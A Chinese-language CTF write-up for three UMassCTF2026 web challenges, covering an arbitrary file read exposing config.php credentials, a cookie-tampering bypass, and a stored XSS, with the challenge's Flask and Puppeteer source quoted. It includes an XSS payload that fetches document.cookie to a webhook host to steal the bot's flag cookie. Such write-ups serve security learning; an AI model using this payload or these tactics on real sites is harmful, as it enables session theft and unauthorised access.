UMAssCTF2026签到WP

UMAssCTF2026

只做了web,只签出来三个到,我真蚌埠住了,感觉随便换一个人放在我的位置上适应一段时间都会比我做得更好

Brick by Brick

前端页面没看到什么有用的东西,然后试着访问了下/robots.txt 发现有东西

1
2
3
4
5
6
7
User-agent: *
Disallow: /internal-docs/assembly-guide.txt
Disallow: /internal-docs/it-onboarding.txt
Disallow: /internal-docs/q3-report.txt

# NOTE: Maintenance in progress. 
# Unauthorized crawling of /internal-docs/ is prohibited.

在/internal-docs/it-onboarding.txt 路由下可以看到这里留了一个任意文件读

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
================================================================
  BRICKWORKS CO. — IT ONBOARDING GUIDE
  Document ID: IT-OB-2024-003
  Classification: INTERNAL USE ONLY
================================================================

Welcome to the BrickWorks IT team! This document covers system
access and tooling for new employees.

----------------------------------------------------------------
SECTION 1 - DOCUMENT PORTAL
----------------------------------------------------------------

The internal document portal lives at our main intranet address.
Staff can access any file using the ?file= parameter:

----------------------------------------------------------------
SECTION 2 - ADMIN DASHBOARD
----------------------------------------------------------------

Credentials are stored in the application config file
for reference by the IT team. See config.php in the web root.

----------------------------------------------------------------
SECTION 3 - CONTACTS
----------------------------------------------------------------

IT Helpdesk:   helpdesk@brickworks.internal
Sysadmin Lead: ops@brickworks.internal

================================================================
END OF DOCUMENT
================================================================

传?file=config.php 可以读到配置信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// BrickWorks Co. — Application Configuration
// WARNING: Do not expose this file publicly!

// The admin dashboard is located at /dashboard-admin.php.

// Database
define('DB_HOST', 'localhost');
define('DB_NAME', 'brickworks');
define('DB_USER', 'brickworks_app');
define('DB_PASS', 'Br1ckW0rks_db_2024!');

// WARNING: SYSTEM IS CURRENTLY USING DEFAULT FACTORY CREDENTIALS.
// TODO: Change 'administrator' account from default password.

define('ADMIN_USER', 'administrator');
define('ADMIN_PASS', '[deleted it for safety reasons - Tom]');

// App settings
define('APP_ENV', 'production');
define('APP_DEBUG', false);
define('APP_VERSION', '1.0.3');

可以看到有登录界面/dashboard-admin.php

访问/dashboard-admin.php ,账户密码都是administrator,登录拿到flag

BrOWSER BOSS FIGHT

看一眼前端

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="/css/style.css">
</head>
<body class="welcome_body">
    <form action="/password-attempt" method="post", class="key-input-form" id="key-form">
        <button type="submit" class="door-btn">
            <img src="/images/door.png" class="door-img">
        </button>
        <input type="text" id="key" name="key" placeholder="Input Key" required 
        onkeydown="return event.key != 'Enter';">
        <script>
            document.getElementById('key-form').onsubmit = function() {
                const knockOnDoor = document.getElementById('key');
                // It replaces whatever they typed with 'WEAK_NON_KOOPA_KNOCK'
                knockOnDoor.value = "WEAK_NON_KOOPA_KNOCK"; 
                return true; 
            };
        </script>
    </form>
</body>
</html>

不管传什么都会被替换成WEAK_NON_KOOPA_KNOCK

抓包绕过一下,响应头里还有提示:BrOWSERS CASTLE (A note outside: "King Koopa, if you forget the key, check under_the_doormat! - Sincerely, your faithful servant, Kamek")

所以key应该是under_the_doormat发包后会重定向到/bowsers_castle.html

看一眼响应发现cookie变成了:

1
2
Cookie
	connect.sid=s%3A_wOHuZ31XIL0NVIFshsXlpd_hdvKtYrR.D2nP1kr8%2F8Ll6N5qZQq%2BxKGnq%2BbsKQBzomPP0RpV1uc; goomba_guard_1=9b2gn; koopa_guard_1=tvvvxr; mushroom_huffing_italian_1=fq7t1k; dry_bones_1=5tp58; fruit_named_woman_1=r2c0i; goomba_guard_2=zes9ph; koopa_guard_2=9y32g; mushroom_huffing_italian_2=2173d4p; dry_bones_2=seuvic; fruit_named_woman_2=kyaxxs; goomba_guard_3=7ybrsi; koopa_guard_3=htvml7; mushroom_huffing_italian_3=ywuv7v; dry_bones_3=2ws6; fruit_named_woman_3=efe99q; goomba_guard_4=slq8u; koopa_guard…; koopa_guard_27=b2gjn7; mushroom_huffing_italian_27=bpx4o; dry_bones_27=ti9wi; fruit_named_woman_27=5tfvf; goomba_guard_28=1fxu; koopa_guard_28=1236; mushroom_huffing_italian_28=fcwib6; dry_bones_28=6t3add; fruit_named_woman_28=2vp0b; goomba_guard_29=jbb154; koopa_guard_29=pov2zw; mushroom_huffing_italian_29=ib30as; dry_bones_29=ctw8lg; fruit_named_woman_29=j6z8l; goomba_guard_30=sz0zg; koopa_guard_30=pl1yc6; mushroom_huffing_italian_30=7ct2wk; dry_bones_30=5i8yhh; fruit_named_woman_30=2vhxq; hasAxe=false

前端提示:I don't know how you got in, but you can't possibly defeat me! I removed the axe!

所以把cookie最后的hasAxe设成true,拿到flag

ORDER66

XSS,这次出了很多XSS,可惜我只做出了这一个最简单的

给了66个输入框,需要一个个试哪个有xss漏洞,试到之后用<script>fetch('http://your-webhook.site/?c=' + document.cookie)</script>来拿cookie,然后访问/admin,随便填一个网址加上后缀/view/你的UID/你的SEED就能拿到flag

原理: 给了源码,可以看到一个app.js和一个app.py, app.js是bot,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
const puppeteer = require('puppeteer');
require('dotenv').config();

const FLAG = process.env.FLAG;

async function checkUrl(targetUrl, vulnIndex) {
    const browser = await puppeteer.launch({
        headless: "new",
        executablePath: process.env.PUPPETEER_EXECUTABLE_PATH || 'chromium',
        args: [
            '--no-sandbox', 
            '--disable-setuid-sandbox', 
            '--disable-gpu',
            '--disable-dev-shm-usage'
        ]
    });

    try {
        const page = await browser.newPage();

        page.on('console', msg => console.log(msg.text()));

        const parsedUrl = new URL(targetUrl);
        
        await page.setCookie({
            name: 'flag',
            value: FLAG,
            domain: parsedUrl.hostname,
            path: '/',
            httpOnly: false,
            secure: false,
            sameSite: 'Lax'
        });


        await page.goto(targetUrl, { 
            waitUntil: 'domcontentloaded', 
            timeout: 15000 
        });

        await new Promise(r => setTimeout(r, 5000));

    } catch (e) {
    } finally {
        await browser.close();
    }
}

if (require.main === module) {
    const args = process.argv.slice(2);
    if (args.length >= 2) {
        checkUrl(args[0], args[1]);
    }
}

可以看到bot从环境变量里读了flag,然后会把flag放进cookie里访问targetUrl,这里的targetUrl就是我们传的check

然后看看app.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from flask import Flask, render_template, session, request
import random
import os
import redis
import uuid
import subprocess
from dotenv import load_dotenv

load_dotenv()

app = Flask(__name__)
app.secret_key = os.getenv("SECRET_KEY")
PORT = int(os.getenv('PORT'))
REDIS_HOST = os.getenv('REDIS_HOST', 'redis')
host = os.getenv('Host')

db = redis.Redis(host=REDIS_HOST, port=6379, decode_responses=True)
db.flushdb()

def get_grid_context(uid, seed):
    random.seed(seed) 
    v_index = random.randint(1, 66)
    data = {i: (db.get(f"{uid}:box_{i}") or "") for i in range(1, 67)}
    return data, v_index

@app.route("/", methods=['GET', 'POST'])
def hello_world():
    if 'user_id' not in session:
        session['user_id'] = str(uuid.uuid4())
        session['seed'] = random.randint(1000, 9999)

    uid = session['user_id']
    
    current_seed = session.get('seed', random.randint(1000, 9999))
    _, current_vuln_index = get_grid_context(uid, current_seed)

    current_content = db.get(f"{uid}:box_{current_vuln_index}") or ""
    
    is_payload_present = "<script" in current_content.lower() or "alert(" in current_content.lower()

    if request.method == 'POST':
        submitted = [int(k.split('_')[1]) for k in request.form if k.startswith('box_') and request.form[k].strip()]
        
        if len(submitted) > 1:
            return "ERROR: Only ONE box allowed.", 400
        
        for i in range(1, 67):
            content = request.form.get(f'box_{i}')
            if content and i in submitted:
                db.set(f"{uid}:box_{i}", content)
                if i == current_vuln_index and ("<script" in content.lower() or "alert(" in content.lower()):
                    is_payload_present = True
            else:
                db.delete(f"{uid}:box_{i}")

    if not is_payload_present:
        session['seed'] = random.randint(1000, 9999)
    else:
        session['seed'] = current_seed 

    seed = session['seed']
    grid_data, vuln_index = get_grid_context(uid, seed)
    
    return render_template('index.html', vuln_index=vuln_index, grid_data=grid_data, user_id=uid, seed=seed, host=host)

@app.route("/view/<uid>/<int:seed>")
def view_grid(uid, seed):
    grid_data, vuln_index = get_grid_context(uid, seed)
    return render_template('index.html', vuln_index=vuln_index, grid_data=grid_data, user_id=uid, seed=seed,host=host)

@app.route("/admin")
def admin_page():
    return render_template('admin.html')

from urllib.parse import urlparse

@app.route("/admin/visit", methods=['POST'])
def admin_visit():
    target_url = request.form.get('target_url')
    if not target_url or not target_url.startswith("http://"):
        return "ERROR: Invalid Domain."

    # --- ADD THIS TRANSLATION LOGIC ---
    try:
        parsed_url = urlparse(target_url)
        # In Docker, 'web' is the service name, and PORT is your env var
        # This turns http://localhost:8080 into http://web:80
        internal_target = target_url.replace(parsed_url.netloc, f"web:{PORT}")
        
        parts = target_url.rstrip('/').split('/')
        target_seed = int(parts[-1])
        target_uid = parts[-2]
        _, vuln_index = get_grid_context(target_uid, target_seed)
    except Exception as e:
        return f"ERROR: Parsing failed: {str(e)}"

    bot_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'app.js')

    try:
        process = subprocess.run(
            ['node', bot_path, internal_target, str(vuln_index)], # Use internal_target!
            capture_output=True, 
            text=True, 
            timeout=25, 
            shell=False,
            env=os.environ
        )
        
        # If process.stdout is empty, it usually means Node crashed
        return process.stdout if process.stdout else f"Bot Error: {process.stderr}"
    except Exception as e:
        return f"System Error: {str(e)}"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=PORT, debug=False)

在 /admin/visit 路由中,程序接收一个 target_url。

它会从 URL 的最后两部分解析出 target_uid 和 target_seed,并把域名替换为 Docker 内部网络地址(web:{PORT})

app.js 会带着 Flag Cookie去访问,由于没有配置 CSP,且 httpOnly 为 false,可以通过 document.cookie 直接读取 Flag

剩下题等官方WP出了有时间可能会复现(再水一篇)

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计